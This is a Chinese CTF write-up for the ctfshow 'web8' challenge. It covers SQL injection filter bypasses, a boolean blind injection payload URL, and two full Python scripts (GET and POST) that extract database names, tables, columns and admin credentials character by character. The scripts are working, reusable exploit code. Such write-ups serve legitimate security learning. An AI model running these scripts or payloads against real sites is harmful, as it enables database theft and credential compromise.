当前位置: 首页 > news >正文

ctfshow——web8

进入页面后访问三个文章,发现参数id,考虑存在sql注入

尝试注入的过程中发现存在过滤,抓包fuzz一下

发现长度979的字符都被过滤了

绕过方式

空格绕过:/**/

and绕过:or

逗号绕过:from 1 for 1,如substr(database(),1,1) => substr(database() from 1 for 1)

单引号绕过:可以考虑转十六进制,如"user" => python代码 ("user").encode().hex()

这里注意,单引号被过滤的情况下,字符串注入基本就没戏了(因为无法闭合),但字符型注入还有操作空间,因为字符型注入不管闭合与否,结果不变

回显注入没可能了,尝试布尔盲注

这里发现访问正常逻辑页面和错误逻辑页面不同,布尔盲注可行,通过脚本爆破出flag

正常逻辑

错误逻辑

以if作为判断条件,构造paylpoad:http://2102cd05-573c-42d9-992b-403c2af22b85.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr((database())/**/from/**/1/**/for/**/1))<128

脚本

#-*-coding:utf-8-*- import requests import time host = "http://055b4454-f1ad-4593-8acc-026894769c0a.challenge.ctf.show//index.php?id=1" def getDatabase(): #获取数据库名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload= "-1/**/or/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))<%d" % (i,mid) res = requests.get(host+payload) if "if" in res.text: high = mid else: low = mid + 1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid - 1) print("database is -> "+ans) def getTable(): #获取表名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))<%d" % (i, mid) res = requests.get(host+payload) if "if" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("table is -> "+ans) def getColumn(): #获取列名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\"flag\")/**/from/**/%d/**/for/**/1))<%d" % (i, mid) res = requests.get(host+payload) if "if" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("column is -> "+ans) def dumpTable():#脱裤 global host ans='' for i in range(1,10000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "-1/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/%d/**/for/**/1))<%d" % (i, mid) res = requests.post(host+payload) if "if" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("dumpTable is -> "+ans) dumpTable()

flag:ctfshow{a164514e-efb2-44f6-8a3e-2964daef2db4}

这是get传参的布尔盲注脚本

下面分享下post传参的布尔盲注脚本

#-*-coding:utf-8-*- import requests import time host = "http://web.jarvisoj.com:32787/login.php" def getDatabase(): #获取数据库名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid) param ={"username":payload,"password":"admin"} res = requests.post(host,data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("database is -> "+ans) def getTable(): #获取表名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (i, mid) param = {"username": payload, "password": "admin"} res = requests.post(host,data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("table is -> "+ans) def getColumn(): #获取列名 global host ans='' for i in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))<%d)^1#" % ( i, mid) param = {"username": payload, "password": "admin"} res = requests.post(host, data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("column is -> "+ans) def dumpTable():#脱裤 global host ans='' for i in range(1,10000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))<%d)^1#" % ( i, mid) param = {"username": payload, "password": "admin"} res = requests.post(host, data=param) if "用户名错误" in res.text: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print("dumpTable is -> "+ans) dumpTable()
http://www.jsqmd.com/news/829593/

相关文章:

  • 语音芯片与模块选型指南:从技术原理到实战决策
  • 2026年论文AI率太高怎么办?这份降AI攻略助你快速达标! - 降AI实验室
  • RK3568平台开发系列讲解(热拔插篇)内核是如何发送事件到用户空间
  • 每日大赛间歇期通过Taotoken模型广场探索新模型特性
  • 手机快充“内卷”史:从QC2.0到QC5,聊聊那些被电压和电流“支配”的升级细节
  • LibreOffice Online 终极指南:如何在浏览器中实现免费办公协作
  • 不只是点云:手把手教你用WLR-720激光雷达的IMU数据做机器人姿态估计
  • 3步搭建个人数字图书馆:fanqienovel-downloader如何让你随时随地畅读番茄小说?
  • 微差压选型不踩坑,风压变送器选购指南——适配多场景,赋能高效运行 - 王工聊地下水监测
  • 如何在macOS上快速导出微信聊天记录:WeChatExporter免费开源工具终极指南
  • Pearcleaner终极指南:如何彻底清理Mac残留文件的完整教程
  • 上海软件定制开发技术路径深度拆解:PaaS云架构如何重构企业系统交付模式
  • 如何解锁MTK设备底层访问权限:开源工具赋能硬件安全研究
  • 免费开源工业通信调试工具:ModbusTool终极指南,5分钟快速上手
  • 【ElevenLabs语音伦理合规白皮书】:面向银发群体的AI语音生成必须绕开的4类GDPR/《互联网信息服务深度合成管理规定》雷区
  • 用MakeCode Arcade与树莓派Zero打造复古像素游戏:从拖拽编程到实体街机
  • 创业团队如何借助 Taotoken 的成本管理功能控制原型开发阶段的 AI 支出
  • PDF怎样转换最方便?2026 免费PDF转换工具全盘点 推荐指南 - 软件小管家
  • 潍坊悍龙机械设备:浙江液压钻床出售电话 - LYL仔仔
  • 手持设备串口屏选型与开发实战:从低功耗到稳定通信的全流程解析
  • 基于TI InstaSPIN™-BLDC的无传感器FOC电机控制实战指南
  • 粤语语音合成精准度告急?ElevenLabs最新v2.5模型适配香港/广州/澳门三方口音对照表,速领!
  • 2026 上海家装设计公司怎么选 避坑要点整理 - 行情观察室
  • Cursor Free VIP:一键解决Cursor AI试用限制的智能工具
  • Matminer材料数据挖掘:从数据到预测的完整实战指南
  • 2026天津春考择校指南:哪家培训学校的就业率更靠谱?
  • 平衡二叉树:AVL与红黑树终极对比
  • CSerialPort不止于C++:手把手教你用Python/Node.js调用串口,快速构建上位机应用
  • 从差异基因列表到发表级图表:一个完整生物信息学项目的GO/KEGG/GSEA分析实战复盘
  • 面向对象设计与构造——第一单元总结